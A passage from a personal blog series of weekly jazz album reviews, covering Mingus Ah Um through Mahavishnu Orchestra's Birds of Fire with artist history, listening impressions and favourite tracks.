undiscerning ears fail to find the same effect in "Pedal Point Blues:" there's certainly repetition in the lines of each individual instruments, but I can't find what's static amongst those lines—they all seem to be in motion at once—doesn't that definitionally exclude a "pedal point?"</p> <h3 id="gg-train">GG Train</h3> <p>We've heard "Take the A Train" <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-7">time</a> and <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-26">time</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-27">again</a> already, but this week we have a new challenger in the "NYC subway line <em>cum</em> jazz standard" smackdown: "GG Train."</p> <p>If you're already rabidly composing an email to inform me that, in fact, NYC has no such GG train, you're in need of a history lesson—today's G train was indeed the GG train when Mingus composed this tune; the city bid "gg" to the first "G" in "GG" in 1985.<sup class="footnote-reference"><a href="#train-geeks">38</a></sup> Still, it's good to know that <a rel="external" href="https://www.charlesmingus.com/hsaudio">some things never change</a>:</p> <blockquote> <p>Mirroring the unreliable stop-and-go service of the New York City subway’s GG train (now simply known as the G train), this composition alternates between uptempo and ¼-time ballad sections.</p> </blockquote> <h3 id="girl-of-my-dreams">Girl of My Dreams</h3> <p>This is the only track on the album not composed by Mingus himself; it comes to us by way of Sunny Clapp from all the way back in 1927. "Girl of My Dreams" was a big hit upon its first publication, and has been frequently covered since; here, Mingus's version dispenses with the vocals in favour of some sharp sax lines. Having also listened to some older recordings (e.g., <a rel="external" href="https://archive.org/details/1927-USA-Archives-1927-08-26-Blue-Steele-Orch-Girl-Of-My-Dreams">this one</a>), I really like Mingus's take: he maintains what makes the main melody so beautiful, but injects enough energy to move it from that sonorous, old-timey sound to something fresh and crisp. The tempo changes are a big part of that—we're treated to some dizzying bebop riffs, but everything slows right back down to really accentuate the chorus.</p> <h2 id="conclusion">Conclusion</h2> <p>Whew. A long write-up isn't necessarily a positive one, but all the same—we're now at double what the previous longest article was; it should come as no surprise that I think this album is pretty special. I'm not sure there's any single element I can point out as being the secret sauce; perhaps it's all in the balance: this album is eclectic, but still grounded; it has high-minded compositions, but never forgets to also just be fun. Mingus was known as "the angry man of jazz," but it's clear from <em>Mingus Ah Um</em> that there was far more to him than that.</p> <p>One of my goals with <em>Fifty Weeks of Jazz</em> was to try to find which parts of jazz would really speak to me. 31 weeks in, the two-word reply "Charles Mingus" turns out to be a pretty good answer to that question.</p> <p><em>Favourite track:</em> Better Git It in Your Soul</p> <h2 id="week-32">Week 32: <a href="https://musicbrainz.org/release-group/0d6dcd26-9b31-32c8-8d8a-cd3c326b7c95">Desmond Blue</a></h2> <p>I am a total sucker for the format of "famous musical group plus full orchestral backing". <em><a rel="external" href="https://en.wikipedia.org/wiki/S%26M_(album)">Symphony &amp; Metallica</a></em>? Oh yeah. <em><a rel="external" href="https://en.wikipedia.org/wiki/Symphonic_Music_of_Yes">Symphonic Music of Yes</a></em>? <em>Hell</em> yes. The critics seem to hate these—Yes's attempt was only good for 1.5/5 stars from AllMusic—but I can't get enough of them. What's not to love? If you're a fan of the band, presumably you already like the original songs—how can you <em>not</em> like hearing them with drama, power, and fullness that only a full symphonic backing can bring?</p> <p>Enter this week: celebrated saxman Paul Desmond is the headliner, but not as part of a quartet—he's joined by a full string section, a harp, and various other philharmonic goodies, as well as <a rel="external" href="https://en.wikipedia.org/wiki/Jim_Hall_(musician)">Jim Hall</a> on guitar (who is consistently fantastic). One of jazz's coolest cats, backed by a classical cast? You can only imagine my anticipation.</p> <p>So it is with great disappointment that I must confess to being somewhat lukewarm on <em>Desmond Blue</em>. It's certainly not <em>bad</em>—"Desmond Blue" (the eponymous track) has some super-spy swagger; I love both the harp at the start of "Autumn Leaves," as well as the Baroque-like intro to "My Funny Valentine"—but as a whole, the package fails to fundamentally excite me.</p> <p>Perhaps I can pin this on a surfeit of strings? Behold my classical hot take: strings—violins in particular—are a tad overrated. Yes, of course they're beautiful, and yes, they can create an unparalleled lushness. But they can't match the sheer bombastic…ness of brass, nor the spitfire of notes churned out by a single piano, nor the tension and suspense of a roaring timpani. This album is billed as an orchestral accompaniment, and while that's technically true, I suppose I feel that this specific instrumentation doesn't evoke the raw power and "wow" factor I was hoping for.</p> <p>Maybe you object that the problem here is Desmond himself, not the string section. After all, I have often professed a weakness for the uptempo; might I be simply rejecting Desmond's cool aesthetic altogether? I think not, and have some evidence on offer. Desmond happens to be one of the most prolific musicians in our corpus of albums: we've heard him both with the Dave Brubeck Quartet on <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-6">Time Out</a></em> and <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-27">Jazz Goes to College</a></em>, as well as alongside Gerry Mulligan on <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-14">Two of a Mind</a></em>. I'd rate all three of those albums as somewhere between "good" and "fantastic"—on each, Desmond impresses not with virtuosic flourishes (à la <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Charlie Parker</a>), but rather with his utterly entrancing <em>tone</em>. That tone is solid as ever on <em>Desmond Blue</em>, but I find the addition of the strings often veers more towards "cheesy" than "sweeping."</p> <p>Let me put it this way: I was hoping the combination of jazz plus orchestra on this album would be like peanut butter and chocolate—two individually beloved items that somehow combine to exceed the sum of their parts. Instead, <em>Desmond Blue</em> more like… potato chips and popcorn? Again, each great on its own, and put together they're still good—very good, even!—they're just not any better for the marriage.</p> <p><em>Favourite track:</em> Desmond Blue</p> <h2 id="week-33">Week 33: <a href="https://musicbrainz.org/release-group/8e98c716-6fb8-3dc2-aea6-2be48f804e6d">The Bridge</a></h2> <p>Always read the album notes, kids. The cover of <em>The Bridge</em> features a rather impassive Sonny Rollins waging a silent war against a gravitational force that seems to affect only human hair. But the <em>back</em> of the album elucidates the literal and metaphorical allusions the title intends to evoke—and that is a jazz heritage minute worth expounding upon.</p> <p>Background: Rollins graduates high school in 1948, and within about five years he had spent ten months in Rikers while still managing to record with <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-29">Miles Davis</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Charlie Parker</a>, and <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-11">Thelonious Monk</a>. In 1957, he releases <em>Saxophone Colossus</em>—which is immediately hailed as a massive critical success—popularizes a new, piano-less instrumentation for jazz, and makes his Carnegie Hall debut.<sup class="footnote-reference"><a href="#rollins-biography">39</a></sup></p> <p>So what does 1959 hold for the ever-ambitious Rollins? Naught but those two bitter mints: disillusionment and disappointment. In his own words from <a rel="external" href="https://www.newyorker.com/magazine/1961/11/18/sabbatical-2">a later <em>New Yorker</em> interview</a>:</p> <blockquote> <p>People are not doing things as well as they can do them any more. The par of products is not high enough, and in 1959 I felt that way about my playing. The extraneous things had gotten in the way of it. I didn’t have time to practice, and I wanted to study more. I was playing before more and more people, and not being able to do my best. There was no doubt that I had to leave the scene, and it was just a matter of when I could bring it about. I’d lost the ability to play what I wanted to play every night without the interference of emotionalism. I was filled with question marks.</p> </blockquote> <p>A heady self-assessment indeed from one of the most influential saxophonists in jazz at the time; and one not yet 30 years old, at that. At first, Rollins honed his craft in the solitude of his apartment, but after recognizing that neighbours have only limited patience for experimental saxophone (even of the world-class variety) Rollins decamped. In what one presumes was a moment of electric clarity, Rollins realized that the <a rel="external" href="https://en.wikipedia.org/wiki/Williamsburg_Bridge">Williamsburg Bridge</a> (which connects Manhattan and Brooklyn) was all the studio he needed. There he spent the better part of two years hiding in plain sight while practicing up to 16 hours a day.</p> <blockquote> <p>I started walking over the bridge, and I found it’s a superb place to practice. Night or day. You’re up over the whole world. You can look down on the whole scene. There is the skyline, the water, the harbor. It’s a beautiful scene, a panoramic scene. The bridge offers certain advantages that can’t be duplicated indoors. You can blow as loud as you want. It makes you think. The grandeur gives you perspective. And people never bother you. I saw the same people almost every day. Sometimes they stopped and listened, sometimes they just went by.</p> </blockquote> <p>There's the story of <em>The Bridge</em>, but what of the music itself? Well, it's interesting: remember, the whole point of this two-year hiatus—at the height of Rollins's rising popularity!—was for him to catch up to peers like Miles Davis and <a rel="external" href="https://en.wikipedia.org/wiki/Ornette_Coleman">Ornette Coleman</a>, who were laying the groundwork of what jazz could look like beyond hard bop. Under those circumstances, one might expect Rollins's return to mark a stark departure from his earlier work, but that's not really the case: <em>The Bridge</em> plays it straight, keeping a tight focus on a small ensemble. Rollins's signature rhythmic experimentations are very much present, but the end result is far from avant-garde. I found that surprising; we first heard Rollins on <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-12">Sonny Meets Hawk!</a></em> (released a year after <em>The Bridge</em>), and <em>that</em> album pushes the boundaries of what one can tunefully do with a saxophone—I was expecting to hear some of that on <em>The Bridge</em> as well. When it comes to specific tracks, my favourite ones this week were the fastest (as any semi-frequent reader might have guessed): "John S." and "The Bridge." The end of the former features stellar interplay between sax, guitar, and drums, while in the latter the bass always grabs my attention with non-stop runs up and down throughout.</p> <p>Of course, Rollins isn't the only musician playing on <em>The Bridge</em>. Just like <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-32">last week</a>, one of the most striking features of the album is the supremely sublime electric guitar. And also just like last week, the particular guitarist responsible is <a rel="external" href="https://en.wikipedia.org/wiki/Jim_Hall_(musician)">Jim Hall</a>—and wait a minute, he was <em>also</em> the guitarist on "<a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-30">The Train and the River</a>‽" Alright, Jim: you are well on your way towards earning the illustrious "Fifty Weeks of Jazz – Most Influential Sideman" award.<sup class="footnote-reference"><a href="#jim-hall-award">40</a></sup></p> <p>So: <em>The Bridge</em> represents not only the literal setting of Rollins's first dramatic self-isolation<sup class="footnote-reference"><a href="#rollins-second-sabbatical">41</a></sup>, it is also the metaphorical bridge between two formative periods of this pioneering saxophonist's career.<sup class="footnote-reference"><a href="#the-bridge-metaphor">42</a></sup> Given Rollins's close association with the Williamsburg bridge and his ensuing cultural influence, some people have called for making that near-metonym official by renaming the bridge after Sonny (who is still alive today—he'll be 95 in two weeks' time!). You can find out more about that initiative on <a rel="external" href="https://sonnyrollinsbridge.net/">their website</a>.</p> <p><em>Favourite track:</em> The Bridge</p> <h2 id="week-34">Week 34: <a href="https://musicbrainz.org/release-group/be5819f2-ea8c-37ae-b08f-141e377e48b0">The Electrifying Aretha Franklin</a></h2> <p>I won't fault you for forgetting, but the early weeks of this project were graced with many a diva strutting by—namely <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-2">Sarah Vaughan</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-4">Billie Holiday</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-8">Helen Merrill</a>, and <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-17">Nina Simone</a>. All incredibly talented musicians in their own right, but that particular assemblage of artists made for a musical <a rel="external" href="https://en.wikipedia.org/wiki/Illusory_contour">Kanizsa triangle</a>: amongst all those mid-century, jazz-adjacent vocalists, where's Aretha? Have no fear—the Queen of Soul herself is (finally) here.</p> <p><em>The Electrifying Aretha Franklin</em> comes from early in her career; it's only her sophomore album. Aretha's talent was recognized early—she inked this record deal with Columbia at age 18—but she didn't achieve breakout success until she left Columbia for Atlantic (roughly five years after this album). So: no chart-toppers to be found here ("Respect" was a few years out yet), but rather a smorgasbord of jazz standards, Tin Pan Alley hits, and gospel/R&amp;B compositions. (If that leads you to question Franklin's place as a <em>jazz</em> singer, see <a rel="external" href="https://www.wbgo.org/music/2018-08-17/all-the-things-you-are-arethas-life-in-jazz">this piece</a> from <a rel="external" href="https://www.wbgo.org/">WBGO</a> that investigates those bona fides and reaches an approving conclusion.)</p> <p>Despite this not being Franklin's most popular work, I find this album to be consistently very good, and occasionally great. Of course, the main appeal is Franklin's vocals, and those don't disappoint: I must confess that in isolation, I'd pick her over any of the other female singers we've heard. I love the range we hear from her on this album; on the upbeat side, I'm partial to both "I Surrender, Dear" (a fun take on the "playful love song" trope), as well as "Ac-Cent-Tchu-Ate the Positive" (which syncopates <a rel="external" href="https://en.wikipedia.org/wiki/Ac-Cent-Tchu-Ate_the_Positive#Background">a preacher's sermon</a> to great effect, and features perhaps the jazziest solo of the album on trumpet). By contrast, "That Lucky Old Sun" is on the other end of the emotional spectrum, and it's my favourite of the lot: Franklin starts with a simple, beautiful phrase, but in three-and-a-half minutes she moves through pain, defiance, and anger before arriving at a kind of cathartic acceptance—nearly the full <a rel="external" href="https://en.wikipedia.org/wiki/Five_stages_of_grief">stages of grief</a> in a single track.</p> <p>All together, a solid album—and yet, I have one bone to pick with Franklin. Today, Franklin seems to be venerated as a minor saint of feminism, mostly on the basis of "Respect" (so far as I can discern). <a rel="external" href="https://www.cnn.com/2018/08/16/entertainment/aretha-franklin-respect-feminism-civil-rights-trnd">This CNN piece</a> is a good example: the title (indirectly) links her to both the civil rights movement and feminism, only to walk back those associations in the first couple of lines. Mind you, I don't mean to deny or minimize the tremendous impact that "Respect" had on millions of listeners, but it did throw me for a loop to have that mental image of Franklin, then hear her sing this on "Rough Lover":</p> <blockquote> <p>He’s gotta be sweet and gentle</p> <p>Day and night</p> <p><b>But mean enough to make me</b></p> <p><b>Want to treat him right</b></p> <p>I want a man, oh, yeah</p> </blockquote> <p>Yes, cherry-picking one track from a largely-forgotten album is unlikely to give a representative view of Franklin's true views on the emancipation of women writ large. But still, it suggests a pretty funny parallel universe:</p> <blockquote> <p>R-E-S-P-E-C-T</p> <p>But also sometimes please <a rel="external" href="https://en.wikipedia.org/wiki/Negging">neg</a> me!</p> <p>R-E-S-P-E-C-T</p> <p>Gimme toxic masculinity!</p> </blockquote> <p><em>Favourite track:</em> That Lucky Old Sun</p> <h2 id="week-35">Week 35: <a href="https://musicbrainz.org/release-group/84c5ae6a-c2f6-3f69-bc2c-54a7013bfe67">Silk &amp; Soul</a></h2> <p><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-34">Last week</a>, I declared that in terms of pure vocal prowess, Aretha Franklin surpasses any other female singer we've heard thus far. I stand by that statement, but this week allow me to add an equally important rejoinder: Nina Simone's work is still more important.</p> <p>Fundamentally, it feels to me like Franklin is trying to produce <em>hits</em>, whereas Simone is trying to make <em>art</em>.<sup class="footnote-reference"><a href="#simone-franklin-disclaimer">43</a></sup> Sure, <em>Silk &amp; Soul</em> features covers of some popular songs, like "Cherish" and "The Look of Love",<sup class="footnote-reference"><a href="#casino-royale">44</a></sup> but it also includes tracks like "Turning Point", and "Consummation". I can't imagine the latter two were ever conceived as commercial successes, but I find them moving in a way that the pop tunes aren't: "Turning Point" is an emotional gut-punch, and "Consummation" is a slow burn that weaves its threads into a fantastic climax. I'm more than willing to concede that Franklin could outperform on straight bops like "It Be's That Way Sometime", but I'd sooner listen to a niche work of Simone's than a radio hit from Franklin.</p> <p>Those differences are also reflected in the two artists’ approaches to activism. As discussed <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-34">last week</a>, some of Franklin's megahits (most notably "Respect" and "(You Make Me Feel Like) A Natural Woman") dovetailed nicely with rising social movements—but if they were inspiring, they were also inoffensive; nobody was up in arms over "taking care of TCB".<sup class="footnote-reference"><a href="#taking-care-of-tcb">45</a></sup> In contrast, Simone intentionally torched her career in the southern states with her release of the rather unsubtle "<a rel="external" href="https://www.youtube.com/watch?v=LJ25-U3jNWM">Mississippi Goddam</a>"—an unrestrained protest song written in response to a spate of racially-motivated murders in Mississippi. Whether one ought to pursue incremental change or total revolution is a fraught debate, but with the benefit of hindsight in this particular example, I can't imagine favouring Franklin over Simone.</p> <p>Alas, all too often visionary artists must content themselves with much more modest commercial success than their peers. So it went with this "rivalry":<sup class="footnote-reference"><a href="#simone-franklin-rivalry">46</a></sup> for "Go to Hell" (from this album), Simone was nominated for the first-ever Grammy award for "Best Female R&amp;B Performance". She lost to none other than Franklin, who won with… "Respect". Franklin subsequently went on to win the award for the next six years in a row. Sorry, Simone—if it's any consolation, you've got my vote.</p> <p><em>Favourite track:</em> Turning Point</p> <h2 id="week-36">Week 36: <a href="https://musicbrainz.org/release-group/5b83a45b-3bcd-35e2-a462-fc98260df180">Underground</a></h2> <p>When it comes to how I listen to music, I'm decidedly unsentimental: keep your <a rel="external" href="https://www.whathifi.com/features/10-worlds-most-expensive-turntables">art piece turntable</a> and <a rel="external" href="https://nordost.com/odin-supreme-reference/odin2.php">$50,000 cables</a>, thanks—a pile of FLACs on my home media server is more than enough for me; have fun flipping your records every 20 minutes. But every so often an album comes along that makes me feel foolish for not owning it in full 12" glory. Monk's <em>Underground</em> is one such album. I mean, just look at it:<sup class="footnote-reference"><a href="#underground-album-cover">47</a></sup></p> <figure> <img src="/blog/fifty-weeks-of-jazz/./underground_monk_cover_art.jpg" alt="The cover art for Monk's album _Underground_: Monk is seated at a piano, surrounded by Nazi items taken as war trophies, as well as general war paraphernalia. Behind him is a cow and a woman holding a gun." class="centre"> </figure> <p>The album notes helpfully clarify that naturally these war trophies were captured by Monk in WWII, as part of his service with the French Resistance, and add: "Oh yes, about the girl with the firearm in the background. No explanation was asked, nor was one forthcoming."<sup class="footnote-reference"><a href="#underground-album-notes">48</a></sup></p> <p>That's all bollocks of course; Monk never fought for the French. The girl, however, <em>did</em>: that's none other than <a rel="external" href="https://en.wikipedia.org/wiki/Pannonica_de_Koenigswarter">Baroness Pannonica de Koenigswarter</a>. Born a Rothschild (yes, those ones), she fought with the Free French Army during WWII. After the war, she ended up moving to New York, where she developed an infatuation with jazz. She was extremely close with all the leading musicians and always ready to offer a ride, quash a vexing bill, or—in at least one extreme case—take the rap for a drug bust and serve a few nights in jail. In fact, you might recognize her if you watched <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Clint Eastwood's Charlie Parker movie</a> with me a while back—she was the one to offer Parker succor (at her apartment) in his final hours. So it went with Monk as well: after he stopped performing in the mid-seventies, he spent the last six years of his life living in her New Jersey home.</p> <p>But I suppose I ought to be judging the album itself, not its cover. We first heard Monk on <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-11">Monk's Dream</a></em>—interestingly, that was the first album his quartet released with Columbia; <em>Underground</em> was the last. I ended that earlier review with a hope: "maybe by the end of this project I'll be able to better appreciate Monk's genius in its own right." Well, 25 weeks later I still have yet to crack that puzzle. Fundamentally, Monk leaves me a bit cold: it's pleasant enough to listen to, and I like the back and forth between Monk on piano and <a rel="external" href="https://en.wikipedia.org/wiki/Charlie_Rouse">Charlie Rouse</a> on tenor sax, but I never feel swept up in emotion the way I do with, say, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-19">Erroll Garner</a>. Surprisingly, the real standout for me on this album was the bass (played by <a rel="external" href="https://en.wikipedia.org/wiki/Larry_Gales">Larry Gales</a>): in both "Raise Four" and "Easy Street," it produces a low, grinding groan quite unlike most other albums—evoking not a particular instrument so much as the shifting of a massive sailing ship amidst the churning sea.<sup class="footnote-reference"><a href="#gales-bass-technique">49</a></sup> But the overall winner for me is "In Walked Bud," hands-down. I happened to hear a completely different version of it featuring a female vocalist a few weeks ago on <a rel="external" href="https://jazz.fm/">JAZZ.FM</a>; I had no idea then that it was a Monk composition, but there was something about the off-kilter, self-referential chorus that was immediately beguiling. This particular recording—one of many Monk made throughout his career—creates that same magic, and is (mercifully) the full 6:48 version on this CD release (rather than the reduced 4:17 version on the original LP).</p> <p>So: I leave this week with more questions than I started with. Who was this man—both flamboyant stage dancer and taciturn eccentric—and what does his music mean for us? I still don't have answers, but I have perhaps a touch more perspective: call it cope, but these jazz mysteries are just like the rest of life—the journey is more important than the destination. I'm happy to keep exploring; if fifty weeks becomes fifty years, so be it.</p> <p><em>Favourite track:</em> In Walked Bud</p> <h2 id="week-37">Week 37: <a href="https://musicbrainz.org/release-group/60a93d63-1e30-3715-8525-5e9adebb8424">Straight Life</a></h2> <p>Confession time: much as I try to maintain an air of aloof sophistication in all things I do, I have a particular fondness for anything that can be remotely described as "prog." Prog rock is my particular go-to, but I'm not picky—I take to any sprawling, overwrought, quasi-intellectual composition like a feline to catnip. So when I saw this week's album was 36 minutes spread across only three tracks (the longest being over 17 minutes!) I was immediately intrigued. Could this be… progressive <em>jazz</em>?</p> <p>Listen to the first minute of the album and judge for yourself:</p> <p><audio controls src="straight_life_intro.mp3"></audio></p> <p>I <em>love</em> this intro. The first 45 seconds say "we're not afraid to get a bit weird with this one," but then the main theme kicks in to assure you this won't be self-indulgent experimentation for the sake of it; we're here to <em>groove</em>. Perhaps that's a fair description of Freddie Hubbard overall: though he played on some of the albums that defined free jazz,<sup class="footnote-reference"><a href="#free-jazz-definition">50</a></sup> he was never a true convert himself. He was a member of <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">The Jazz Messengers</a> (not <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-24">the first</a> we've seen), and after the heyday of hard bop, he experimented with a variety of styles—the fusion/funk stylings of <em>Straight Life</em> come from the most critically successful period of his career. Embarrassingly, I had never even heard of Hubbard before—a notable oversight if you trust the <em>Los Angeles Times</em>, which described him as "widely regarded as the most gifted jazz trumpeter of the post-bebop ‘60s and ‘70s" in <a rel="external" href="https://www.latimes.com/local/obituaries/la-me-hubbard30-2008dec30-story.html">their obituary of him</a>.</p> <p>But as usual, I've gotten so caught up in the artist that I've neglected the music. As you already sampled above, "Straight Life" strides along with a self-assured energy throughout. The bulk of the aforementioned 17-minute exposition is a revolving door of solos: tenor saxophone, trumpet, electric piano, guitar, and drums each get their… well, not quite 15 minutes in the spotlight, but pretty close. It’s an embarrassment of riches—one which comes as no surprise once you check the lineup. The immediate standouts to me are <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-20">Hancock</a> on the keys and <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-16">Benson</a> on the six-string, both in top form here. (The internet tells me the rest of the ensemble are just as highly regarded; we simply hadn't had the pleasure of encountering them before this album.) "Mr. Clean" keeps roughly the same solo structure, but adds a double-helping of funk—this is something to which you could <em>strut</em> down the street. By contrast, "Here's That Rainy Day" is much slower and more contemplative; Hubbard takes centre stage on the melody, backed by a subdued accompaniment.</p> <p>So after all's said and done, is this truly <em>prog</em> jazz? Ivory-tower academics will blather on about atonality and dissonance; they'll gladly waste an evening contrasting <a rel="external" href="https://en.wikipedia.org/wiki/Third_stream">third stream</a> and <a rel="external" href="https://en.wikipedia.org/wiki/Jazz_fusion">jazz fusion</a>; but in doing so, they obscure the simple truth. Dispense with these frivolities and join me in embracing the dharma of prog:</p> <p>I like it, therefore it is prog.</p> <p>It is prog, therefore I like it.</p> <p><em>Favourite track:</em> Mr. Clean<sup class="footnote-reference"><a href="#mr-clean-marketing">51</a></sup></p> <h2 id="week-38">Week 38: <a href="https://musicbrainz.org/release-group/e7c8ef46-c451-3978-b1c3-811e8547be8e">Beyond the Blue Horizon</a></h2> <p>We first heard George Benson as a fresh-faced youth; he was barely 23 years old when recording his second album, <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-16">It's Uptown</a></em>. It would be another ten years before he hit pop-styled paydirt with <em><a rel="external" href="https://en.wikipedia.org/wiki/Breezin%27">Breezin’</a></em>, and this week's album—<em>Beyond the Blue Horizon</em>—was recorded smack-dab in the middle of that period. In the five years since <em>It's Uptown</em>, Benson kept himself busy: as if releasing six more albums of his own wasn't enough (including a cover of <a rel="external" href="https://en.wikipedia.org/wiki/The_Other_Side_of_Abbey_Road">Abbey Road</a>), he was also invited to record <a rel="external" href="https://en.wikipedia.org/wiki/Miles_in_the_Sky">a track</a> alongside members of Miles Davis's <a rel="external" href="https://en.wikipedia.org/wiki/Miles_Davis_Quintet#Second_Great_Quintet_(1964%E2%80%9368)">Second Great Quintet</a>. To my ear, that added experience translates to a greater confidence and more refined musical identity on <em>Beyond the Blue Horizon</em>. <em>It's Uptown</em> has some great stuff, but I think it's also fair to call it musical potpourri: Benson singing Gershwin and Benson laying down some slick riffs are both entertaining, but I've never felt either was complemented by the presence of the other. By contrast, <em>Beyond the Blue Horizon</em> is a much tighter package all-around: though the styles range widely from one track to another, the whole thing feels like one artistic vision in a way that <em>It's Uptown</em> never did to me.</p> <p>In fact, I see <em>Beyond the Blue Horizon</em> as building on my favourite parts of <em>It's Uptown</em>—the energetic, guitar-forward Benson compositions like "Clockwise" and "Bullfight:" in this album, Benson spins those impulses into longer, more nuanced tracks. <em>Beyond the Blue Horizon</em> opens with a cover of "So What" (my favourite track from <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">Kind of Blue</a></em>) that injects some zest and funk while staying true to the original.<sup class="footnote-reference"><a href="#so-what-benson-cover">52</a></sup> "The Gentle Rain" is a bossa nova cover with a misleading title: some of the runs Benson hits here are more "torrential downpour" than "gentle rain;" in contrast, while "Ode to a Kudu" features equally virtuosic riffs, the overall treatment is gentler and slower; it's delicate and beautiful. "All Clear" is bright and cheery, but with an unusual texture in the left channel to add a little contrast. I can't quite place what it is exactly; perhaps that's the "electric cello" I see listed <a rel="external" href="https://en.wikipedia.org/wiki/Beyond_the_Blue_Horizon#Personnel">on Wikipedia</a>? Finally, "Somewhere in the East" is a far-ranging trek towards a vaguely Middle Eastern destination—don't miss the extended alternate take on this CD re-release where the band has the room to make it a proper epic.</p> <p>So: a fine album on the whole. However, to love this album is an exercise in heartbreak: if you fall for Benson's jazz guitar stylings here, you'll be sorely disappointed by the later pop and R&amp;B that made him a household name. I can't say it any better than <a rel="external" href="https://www.bbc.co.uk/music/reviews/3qvr/">this BBC review</a>:</p> <blockquote> <p>A reminder that though George's career switch may have made him considerably richer, it left the jazz world a bit poorer.</p> </blockquote> <p><em>Favourite track:</em> So What</p> <h2 id="week-39">Week 39: <a href="https://musicbrainz.org/release-group/c06d6702-eacb-324b-b9fd-d19c8331e178">Birds of Fire</a></h2> <p>Mahavishnu Orchestra? More like "Make-Mah-Wish-True" Orchestra, because this psychedelic goodness is opening my third eye—am I right??</p> <p>…ahem. You'll have to forgive me—<a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-37">two weeks ago</a> we were debating whether we'd had our first sampling of proper prog; in this case there's zero ambiguity and I summarily overdosed.</p> <p><em>Birds of Fire</em> is, to my ears, a space epic:<sup class="footnote-reference"><a href="#birds-of-fire-movie">53</a></sup> the opening track opens up a wormhole that distorts time and space itself; the dissonant guitar of this other dimension wrestles with the steady strings of our homeworld. That conflict between guitar and violin—manifest in one solo showdown after another—is a feature throughout the album. At other points I hear spaceships charging up for hyperdrive ("Sapphire Bullets of Pure Love"), seemingly Latin-inspired riffs ("Thousand Island Park"), a chaotic chase sequence ("One Word"), eavesdropping on a bizarre alien ceremonial rite ("Sanctuary"), then finally a safe return home ("Open Country Joy")—JUST KIDDING, WE'RE BLASTING OFF ONE MORE TIME!—aaand coming back down again, finally concluding with a foreboding imperial theme that teases the conflict we'll explore in the second <del>movie</del> album.</p> <p>So yes, <em>Birds of Fire</em> is excellent. But an elephant abounds: is it <em>jazz</em>? No, obviously not. This time I have the credentials to prove it.</p> <p>You see, recently I've had the pleasure of joining Jazz at Lincoln Center's fantastic <a rel="external" href="https://jazz.org/education/public-programs/swing-u/">Jazz 101</a> class, and in the first lecture Seton Hawkins is sure to impress the following conservative, three-element definition of jazz upon you (remember, this is <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-24">Wynton's turf</a>; he's the artistic director).<sup class="footnote-reference"><a href="#jacl-jazz-definition">54</a></sup> To truly be jazz, the music must include:</p> <ol> <li>Blues expression<sup class="footnote-reference"><a href="#blues-expression">55</a></sup></li> <li>Swing rhythm</li> <li>An emphasis on improvisation</li> </ol> <p>Apparently live performances of <em>Birds of Fire</em> knocked 3) out of the park, but I have a hard time locating 1) and 2) myself, and simply referencing <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">Davis</a> in a track title ("Miles Beyond") does not jazz make. I must be wrong—every reference I've seen to this album describes it as "jazz fusion" first and foremost—and yet I find myself unable to square that circle. We've heard a wide range of jazz so far, but though <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-28">Louis Armstrong</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-26">big band</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">bebop</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-27">cool jazz</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-31">post-bop</a>, and another example of <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-23">jazz fusion</a> all sound quite different, I can <em>feel</em> the common through line connecting them; though I can't formally define it, I can somehow hear that all of those are clearly and distinctly jazz. I don't get that feeling with <em>Birds of Fire</em>. That doesn't diminish my enjoyment of it in any way, but it makes it quite separate from our other entries.</p> <br> <p>But indulge me for a moment, if you will, in a non-musical coda: I learned (<a rel="external" href="https://en.wikipedia.org/wiki/Mahavishnu_Orchestra#1971%E2%80%931974:_First_incarnation">from Wikipedia</a>) that Mahavishnu Orchestra got their name from the spiritual leader <a rel="external" href="https://www.srichinmoy.org/">Sri Chinmoy</a>. This confused me, because Sri Chinmoy is a quirky but lovable meditation teacher who lives in my hometown; he has a new poster offering meditation classes every few weeks at the community centre with his name and face front-and-centre.</p> <p>…or so I thought; as it happens, the real Sri Chinmoy passed away in 2007. The posters I've seen are legit, but they're the handiwork of devotees of the late Chinmoy, trying to further evangelize his teachings. In hindsight, perhaps I ought to have puzzled that out myself—if one saw a poster emblazoned with Jesus giving a thumbs-up and the text "Come learn Jesus’ teachings!," one would not expect the <em>actual</em> Mr. H. Christ to be presiding—but in my defense, JC has better name recognition.</p> <p>I can understand why one might become a follower of Sri Chinmoy; indeed after learning of his many 